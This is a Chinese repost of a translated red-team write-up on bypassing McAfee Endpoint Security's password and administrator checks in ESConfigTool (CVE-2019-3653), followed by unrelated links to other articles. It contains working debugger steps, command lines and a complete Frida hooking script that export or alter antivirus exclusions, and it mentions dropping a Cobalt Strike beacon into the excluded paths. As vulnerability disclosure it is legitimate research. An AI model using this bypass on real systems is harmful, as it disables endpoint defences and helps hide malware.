怎样卸载迈克菲,如何禁用mcafee杀毒软件

利用Mcafee管理工具绕过McAfee杀毒软件

介绍这篇文章是关于我在一次红队活动中如何利用McAfee工具绕过McAfee Endpoint Security杀毒软件的故事。本来我没有计划写这篇文章,但当时的队友@fsdominguezand和@_dirkjan觉得此事值得被记录下来。现在,就让我们开始吧。McAfee在以往,每当我们遇到McAfee Virus Scan Enterprise(VSE)的时候,都可以通过简单地查询注册表,了解到那些位置是管理员指定的“特殊位置”(不受杀毒软件影响)。

然而,在这次任务中,事情没那么简单。因为他们使用的是McAfee Endpoint Security,从VSE时代到现在,McAfee可能认为最好不要将“特殊位置”之类的信息以明文形式存储在任何人都可阅读的文件中。

那么,我们现在该把恶意文件放在哪里?ESConfigToolMcAfee Endpoint Security杀毒软件附带一个名为ESConfigTool的程序,可用于导入和导出配置文件。它的详细用法如下。

我们发现,要从McAfee Endpoint Security得知安全设置,你需要:解锁密码管理权限很遗憾这两者我们都没有。

现在,先让我们下载一个试用版本的McAfee Endpoint Security,看看是否有入手点。

变化我们最后决定还是以ESConfigTool为目标,看看它是否有漏洞。我先创建了三个“特殊位置”:C:\Windows\Temp\*mimikatz.exeC:\TotallyLegit\

还设置了密码保护:starwars。

打开一个cmd,看看我们是否可以得到这些设置信息。

Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:\Windows\system32>”C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe” /export C:\Export.xml /module TP /unlock starwars /plaintextCommand executed successfully. Please refer to Endpoint Security logs for detailsC:\Windows\system32>让我们打开xml文件,看看是否有敏感信息:

C:\Windows\Temp\031110**\*mimikatz.exe030110C:\TotallyLegit\031110是的,在拥有管理员权限以及输入了正确密码的情况下,你可以得到安全设置。让我们通过x64dbg软件,看一下它的整体流程。Self-defense通常使用调试软件打开二进制文件是很简单的,但由于我们面对的是安全软件,所以有一些额外的障碍。一个重要的原因是,McAfee的大部分组件都有“自卫”功能。如果你尝试使用调试软件,将立即得到一个Debugging stopped消息,McAfee对这种可疑行为极为敏感。

 

12/10/2019 12:47:09 mfeesp(2204.6392) ApBl.SP.Activity: DESKTOP-DNUK2R5\admin ran X64DBG.EXE, which attempted to access ESCONFIGTOOL.EXE, violating the rule “Core Protection – Protect McAfee processes from unauthorized access and termination”, and was blocked. For information about how to respond to this event, see KB85494.12/10/2019 12:47:09 mfeesp(2204.5404) ApBl.SP.Activity: DESKTOP-DNUK2R5\admin ran X64DBG.EXE, which attempted to access ESCONFIGTOOL.EXE, violating the rule “Core Protection – Protect McAfee processes from unauthorized access and termination”, and was blocked. For information about how to respond to this event, see KB85494.看来我们首先需要绕过这种自我防御机制。

Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:\Users\admin>mkdir \tempC:\Users\admin>cd \tempC:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe” . 1 file(s) copied.C:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\blframework.dll” . 1 file(s) copied.C:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\EpSecApiLib.dll” . 1 file(s) copied.C:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\McVariantExport.dll” . 1 file(s) copied.C:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\LogLib.dll” . 1 file(s) copied.C:\temp>没错,只要像如上所述疯狂复制文件,你就可以绕过自我防御,对软件进行调试。现在,让我们开始调试吧

绕过密码检查先让我们看看当使用错误的密码时会发生什么,也许会有一些字符提示:

C:\Windows\system32>”C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe” /export C:\Export.xml /module TP /unlock startrek /plaintextThere were some errors while executing command. Please refer to Endpoint Security logs for detailsC:\Windows\system32>嗯,没什么特别的。不过McAfee的日志文件提供了更多信息:

10/12/2019 01:11:46.400 PM ESConfigTool(5476.8840) ESConfigTool.ESConfigTool.Error (ImportExportUtil.cpp:677): Failed to unlock client settings with user supplied password, TriggerAction failed让我们在调试器中搜索特定字符串,看看能否找到这个错误的来源。

 

现在我们把这个位置设为断点,再运行一次,看看在断点之前发生了什么。我们可以看到一个函数调用了一个名为BLInvokeMethod的东西,后面还跟着一个没有执行的跳转:

 

此时,我们有两个选择:进入密码检查函数,看看它是如何工作的,并尝试破解密码。直接更改检查函数的返回值。因为我很懒,我所以选择了第2项。当输入错误的密码时,密码检查函数会将错误代码放入RAX寄存器:

如果提供了正确的密码,则RAX寄存器的值为0

那么,如果我们提供了错误的密码,将密码检查函数中断,并将RAX寄存器的值改为0,会发生什么情况呢?

成功导出设置!

看来密码检查只是由工具本身完成的,不牵涉其他组件,也不需要解密。绕过管理员权限在没有管理员权限的情况下,ESConfigTool工具能使用的功能是非常有限的:

Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:\Users\user>”C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe” /export C:\temp\Export.xml /module TP /unlock starwars /plaintextDescription: Endpoint security configuration tool for exporting and importing policy configuration. User needs administrator privileges to run this utility. Utility needs password if the client interface is password protected. File supplied for import must be an encrypted file.USAGE: ESConfigTool.exe /export [/module <TP|FW|WC|ESP> ] [/unlock ] [/plaintext ] ESConfigTool.exe /import [/module <TP|FW|WC|ESP> ] [/unlock ] [/policyname ] ESConfigTool.exe /helpC:\Users\user>我们怎样才能知道权限检查的流程呢?先让我们以普通用户的身份运行调试器,看看会发生什么。发现它调用一个函数,并对返回值进行字符串比较,如果返回代码不是0,则调用“exit”。

如果追踪这个函数,会发现它将最终调用AllocateAndInitializeSid。不过这些都不值得花时间去逆向。让我们再次尝试偷懒的方法更改函数返回值。

返回值检查如下:

这一次返回值必须是0以外的任何值。

OK,又成功了!

我们现在可以从McAfee Endpoint Security导出安全设置,不需要管理权限,不需要知道正确的密码!自动运行到目前为止,一切都很顺利,但是每次使用调试器更改返回值是一件痛苦的事情。不过幸运的是,存在Frida这么一个有趣的东西,它可以帮你做所有很酷的事情,比如hook函数或改变其返回值,你不需要任何额外的技能,除了javascript!

那么我们如何将Frida注入到McAfee呢?很简单,frida-server。只需在运行McAfee的机器上启动它,然后使用Python进行连接。McAfee机器:Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:\Users\admin>cd \tempC:\temp>frida-server-12.7.9-windows-x86_64.exePython机器:Python 3.6.7 (default, Oct 22 2018, 11:32:17) [GCC 8.2.0] on linuxType “help”, “copyright”, “credits” or “license” for more information.>>> import frida>>> devmgr = frida.get_device_manager()>>> devmgr.add_remote_device(‘192.168.31.150′)Device(id=”tcp@192.168.31.150″, name=”192.168.31.150″, type=’remote’)>>> rdev = frida.get_device(‘tcp@192.168.31.150’)>>> args = [… ‘ESConfigTool.exe’,… ‘/export’,… ‘frida-export.xml’,… ‘/module’,… ‘ESP’,… ‘/unlock’,… ‘startrek’,… ‘/plaintext’… ]>>> pid = rdev.spawn(args)>>> session = rdev.attach(pid)>>> sessionSession(pid=11168)现在我们已经连接上,ESConfigTool.exe也正在运行!

现在我们可以将JS代码注入到ESConfigTool进程中。Frida脚本我不会详细介绍这个脚本的功能,其完整代码如下:

const configbase = Module.findbaseAddress(‘ESConfigTool.exe’);//const adminCheck = configbase.add(0x5240); //32const adminCheck = configbase.add(0x5f30); //64const BLInvokeMethod = Module.findExportByName(‘blframework.dll’,’BLInvokeMethod’)console.log(‘[-] base address is:’,configbase);console.log(‘[-] Admin check is:’,adminCheck);console.log(‘[-] BLInvokeMethod:’,BLInvokeMethod);Interceptor.attach(adminCheck, { onEnter: function (args) { console.log(‘[+] Hooked admin check function’); }, onLeave: function (retval) { console.log(‘[+] Returning true for admin check’); retval.replace(1); }});Interceptor.attach(BLInvokeMethod, { onEnter: function (args) { console.log(‘[+] Hooked BLInvokeMethod function’); }, onLeave: function (retval) { console.log(‘[+] Patching password check function’); retval.replace(0x0); }});这个脚本执行的正是我们在调试器中手动执行的操作,更改返回值。让我们注入脚本,看看它是否有效:

>>> script = “””… const configbase = Module.findbaseAddress(‘ESConfigTool.exe’);… //const adminCheck = configbase.add(0x5240); //32… const adminCheck = configbase.add(0x5f30); //64… const BLInvokeMethod = Module.findExportByName(‘blframework.dll’,’BLInvokeMethod’)… … console.log(‘[-] base address is:’,configbase);… console.log(‘[-] Admin check is:’,adminCheck);… console.log(‘[-] BLInvokeMethod:’,BLInvokeMethod);… … Interceptor.attach(adminCheck, {… onEnter: function (args) {… console.log(‘[+] Hooked admin check function’);… },… onLeave: function (retval) {… console.log(‘[+] Returning true for admin check’);… retval.replace(1);… }… });… … Interceptor.attach(BLInvokeMethod, {… onEnter: function (args) {… console.log(‘[+] Hooked BLInvokeMethod function’);… },… onLeave: function (retval) {… console.log(‘[+] Patching password check function’);… retval.replace(0x0);… }… });… … “””>>> session.create_script(script).load()[-] base address is: 0x7ff73ed30000[-] Admin check is: 0x7ff73ed35f30[-] BLInvokeMethod: 0x7ffa4d759730>>> rdev.resume(pid)>>> [+] Hooked admin check function[+] Returning true for admin check[+] Hooked BLInvokeMethod function[+] Patching password check function>>>最终结果如下:

虽然我是作为“admin”用户运行的,但是没有涉及UAC。相信我,这套方法也适用于普通用户。后续现在,我们就可以把一个Cobalt Strike beacon放入那些“特殊位置”。尽管在本文中只讨论了设置信息导出,但你也可以导入配置文件,添加“特殊位置”,更改其他设置,甚至完全删除密码。

值得一提的是,其实这个配置文件加密与否并不重要,因为你可以把它导入自己的McAfee软件进行查看。

McAfee在确认了漏洞后,发布了一个安全建议和相关的修复程序,漏洞被标记为CVE-2019-3653。

如果你想了解更多,可以在这里找到PoC脚本。

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场

来源:https://dmaasland.github.io/posts/mcafee.html

原文:https://www.loosebyte.com/google-cloud-vulnerability/

白帽汇从事信息安全,专注于安全大数据、企业威胁情报。

公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。

为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。

本文来自投稿,不代表展天博客立场,如若转载,请注明出处:https://www.me900.com/326069.html

(0)

相关推荐

  • 微软云操作系统,微软云计算体系架构及各部分功能

    ChatGPT 掀起 AI 热之后,微软已经成为这股浪潮中最重要的企业之一。不仅因为其是 OpenAI 的大股东,或者推出 AI 加持的 New Bing。 更重要的是:作为全球第一大操作系统服务商、全球第一大办公软件开发商,以及全球第二大云服务商,微软的动向已经成为大模型落地最重要的推动者和风向标。 微软 CEO 纳德拉也没有让等待的信徒们失望。 昨晚 B…

    2023-06-23
  • 初始化网卡信息失败,linux无盘工作站搭建

    我打算让 volumio 运行在我 2009 年购买的老爷机笔记本上,也让它发挥一点余温热。正常操作是将 volumio 的系统镜像刷到 U 盘上,连接电脑后使用 U 盘启动系统即可。但是家里没有找到合适的 U 盘(穷~~),加上前段时间听了同事关于 linux 内核的分享,感慨自己对系统的理解不够。因此我决定使用无盘启动 volumio 顺便研究一下 li…

    2023-07-10
  • 玛雅末日预言(玛雅末日预言2022年人类将进入全新的世界)

    对于玛雅文明,相信很多小伙伴们都听说过,这是距今约有4500年的一个神秘文明。玛雅文明之所以神秘,是因为它虽然处于新石器时代,但是却在天文学,数学,农业以及文字等方面有着极高的成就,尤其是在天文学和数学上,它的成就已经远远超出当时的时代。 玛雅文明在天文学上的一些记载甚至是我们现代科技都无法达到的,正是由于玛雅文明的这些神秘,才吸引了很多的科学家对它进行研究…

    2023-05-25 投稿
  • 学校不用排练的创意节目年会

    学校里一年一度的元旦表演是不是又要开始排练了?   从小到大,每个学期我们最盼望的,大概就是学校里举报的各类活动了,很多时候虽然只能当个观众,但是也会无比雀跃地期待着那一天的到来。   但是我发现一个事,从我们的学生年代再到我们孩子上学,中间经过了这么多年,舞台表演的形式还是那老几样:朗诵、唱歌、跳舞、乐器。   如果哪个班能出…

    2022-04-24 投稿
  • 盘锦首富刘思琦现在干什么,刘思琦家真的是盘锦首富吗

    2017年的5月,辽宁女孩刘思琦带着大包小包的行李,来到了贵州的山区,开始了为期一个月的节目录制。她参加的这档节目名叫《变形记》,是和山区儿童交换体验生活、接受改造的节目。 刘思琦 为了让女儿参加节目,刘思琦的家里人也下了很大的决心。刘思琦时年16岁,自理能力极差,在家里有全职保姆照顾,穿衣服让妈妈穿,吃饭还有姑姑喂,成为了名副其实的“巨婴”。 那么参加这档…

    2022-03-21 投稿
  • 于春日热吻礼也,于春日热吻里面出现的歌

    男主又痞又骚, 但有钱有身材。女主属于清冷白切黑的美人。一开始男主有点渣,换女朋友换的挺勤的,遇到女主就没交过女朋友了。后期男主简直不要脸了。 试读:第2章敢和社会哥这么说话 前不久校长在主席台上说什么来着 被抓到和社会上的男生厮混,就直接按退学处理。这么说来,她们学校这赫赫有名的校花还真是爱刺激。 欣赏完一番校花和街口混混的分手 大戏,陈溺觉得还是读书更好…

    2023-02-07
  • 游戏交易平台网站(卖游戏账号最好的交易平台)

    如今,手游交易市场越来越大,很多玩家不止热衷于一款游戏,还同时会操作多种游戏,而且一个账号根本无法满足。在这种情况下,玩家们就会选择去交易平台购置账号,或者进行租赁。 下图为密马APP   不少玩家第一次购买账号都以失败告终,可能是平台选择不对,也可能是遇到了无德的卖家,购买账号不久便被找回,简直是哑巴吃黄连,有苦说不出。基于这个现状,一些游戏交易…

    2021-12-04
  • 李晨微博微博(李晨微博新浪微博微博)

    近日,李晨的一条微博让网友展开了联想,他居然说自己家有小孩了,而且还有人送孩子礼物。莫非,李晨是在暗示,他和范冰冰造人成功,已经快要升级做爸妈了?不久前,范冰冰还公开表示,想在明年做妈妈。李晨范冰冰都是爱猫人士,看他们晒出的照片就能发现,经常有猫咪在他们身边活动。 而且,范冰冰更是把猫当成自己小孩来养,还口口声声说自己是宠物猫的妈妈。不过,也不能完全排除李晨…

    2023-06-03 投稿
  • 淘宝买家须知,淘宝买家须知话术

    《淘宝买家须知:全面解读与实用建议》 在淘宝购物的过程中,买家须知是我们必须了解的重要内容。 它就像是一本购物指南,为我们提供了各种规则和注意事项,帮助我们更好地进行购物。 那么,淘宝买家须知到底包含哪些方面呢?下面就让我们一起来深入探讨一下。 一、购物流程相关须知 1.注册与登录 -注册淘宝账号时,我们需要提供真实有效的个人信息,这不仅是为了保障我们的交易…

    2025-06-20
  • 新生儿肝炎综合征(新生儿肝炎综合征怎么治疗)

    不明原因儿童急性肝炎再增一例:新加坡卫生部报告了一名10个月大的男婴出现相似症状。 新加坡卫生部表示正在调查以确定该病例是否与最近全球暴发的病例相似。 新加坡卫生部称,该病例于一周前在妇女儿童医院急诊科就诊,目前男婴及其家人情况良好。新加坡的实验室检测已确定这名男婴的甲型、乙型、丙型和戊型肝炎病毒呈阴性。男婴在2021年12月曾感染过新冠病毒。新加坡卫生部表…

    2023-05-24
  • asp是什么文件,asp文件是什么意思

    《asp是什么文件?全面解析asp文件的奥秘》 一、引言 在互联网的世界里,各种文件类型如繁星般闪烁,其中asp文件可能对于一些人来说比较陌生。它究竟是什么?有什么作用?在网站开发中扮演着怎样的角色?这些问题也许一直萦绕在我们的脑海中。让我们一起深入探究asp文件的奥秘,揭开它神秘的面纱。 二、asp文件的定义与起源 asp全称为ActiveServerPa…

    2025-11-12
  • 100个赚钱小游戏,能赚100块钱的小游戏

    人不离机机不离人的时代,必然也是一个广告满天飞的时代。 相信能看到这篇文章的你,必然也是看过各种各样“轻松赚钱小游戏”的广告。 有的人厌不其烦会一拉而过,但必定也有的人抱着尝试的心里试玩过,因为存在就是真理。 现在都是将二八法则,无论广告宣传得多么夸张,你不信,我不信,总会有人信,还有人会深陷其中,“太公钓鱼,愿者上钩”这就是这些广告生存法则。 远的不说,头…

    2022-04-29 投稿